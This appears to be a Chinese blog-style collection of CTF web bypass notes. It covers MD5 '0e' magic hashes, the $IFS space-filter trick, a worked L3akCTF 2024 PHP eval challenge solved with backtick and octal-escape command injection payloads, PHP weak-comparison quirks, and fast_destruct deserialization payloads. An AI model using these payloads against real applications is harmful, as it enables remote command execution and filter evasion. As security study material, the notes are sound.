积累并记录一些bypass
md5
0e绕过,注意0e后必须全是数字,否则仍会被当作字符串进行比较:
可以自行爆破来找符合条件的
两次md5后是0e开头:
iv2Cn
f2WfQ
一次md5后是0e开头:
240610708
空格绕过
对于执行shell命令的环境往往会过滤空格,但是由于shell本身的特性,导致出现一些bypass,如$IFS等,常见绕过原理如下:
$IFS是shell中的字段分隔符,默认值为 空格、Tab、换行
php反引号+八进制\dxxx实现RCE
Simple Calculator [L3akCTF 2024]
题目给了index.php的源码:
<?php
function popCalc() {
if (isset($_GET['formula'])) {
$formula = $_GET['formula'];
if (strlen($formula) >= 150 || preg_match('/[a-z\'"]+/i', $formula)) {
return 'Try Harder !';
}
try {
eval('$calc = ' . $formula . ';');
return isset($calc) ? $calc : '?';
} catch (ParseError $err) {
return 'Error';
}
}
}
$result = popCalc();
echo "Result: " . $result;
?>
$formula是个可控的变量,不允许长度超过150,同时字符串中不能出现字母和大小写引号
本题的bypass运用到了如下的两个特性:
1.PHP中反引号中的内容会被作为shell 命令来执行,并将其输出信息返回
2.PHP中\ddd表示的是1~3位八进制ASCII值对应字符
ls对应payload为?formula=`\154\163`
Result: flag-YQUO4fGlBZhRt3qZAg9Xnneyunqm5kmiP6CvM2JafYJ9alzgOTWYp3lNxTsaZlhd.txt
index.php
cat f*对应payload为?formula=`\143\141\164\40\146\52`
Result: L3AK{PhP_Web_Ch@ll3ng3}
true在弱比较时的特性
除了空对象以外,目前只发现0值以及其他类型空值与true进行弱比较会判断为false:
<?php
$emptyArr = array();
$emptystr = "";
if (true == 0 || true == null || true == $emptyArr || true == $emptyStr || true == false){
echo "impossible";
}
class A {
}
$obj = new A();
$arr = array('');
if (true == 114514 && true == 0.1 && true == $obj && true == $arr && true == "a" && true == true ) {
echo "true";
}
?>
反序列化中 fast_destruct 绕过 throw
如果在程序结束销毁所有对象之前有throw抛出异常,则无法实现__destruct()函数的触发:
<?php
class User
{
public $username = "sxc";
public $age = 258;
public function __destruct() {
print("successfully bypass throw");
}
}
// $a = new User();
// $ser = serialize($a);
// print($ser); # O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}
$ser = 'O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}';
$unser = unserialize($ser);
throw new Exception("you can't destruct");
这个程序只会抛出异常,而不会执行__destruct()
要绕过这个throw需要利用php的fast_destruct特性:
方式一,删去末尾一个花括号}:$ser = 'O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;';
方式二,修改序列化数字元素个数,将User后的2改为其他值:$ser = 'O:4:"User":3:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}';
方式三,先构造形如array($a, 0)的数组,再将最后的i:1改为i:0:$ser = 'a:2:{i:0;O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}i:0;i:0;}';
<?php
class User
{
public $username = "sxc";
public $age = 258;
public function __destruct() {
print("successfully bypass throw");
}
}
// $a = new User();
// $ser = serialize($a);
// print($ser); # O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}
// $a = new User();
// $ser = serialize(array($a,0));
// print($ser); # a:2:{i:0;O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}i:1;i:0;}
# $ser = 'a:2:{i:0;O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}i:0;i:0;}';
# $ser = 'O:4:"User":2:{s:8:"username";s:3:"sxc";s:3:"age";i:258;';
$ser = 'O:4:"User":3:{s:8:"username";s:3:"sxc";s:3:"age";i:258;}';
$user = unserialize($ser);
throw new Exception("you can't destruct");
?>
参考资料: https://zhuanlan.zhihu.com/p/405838002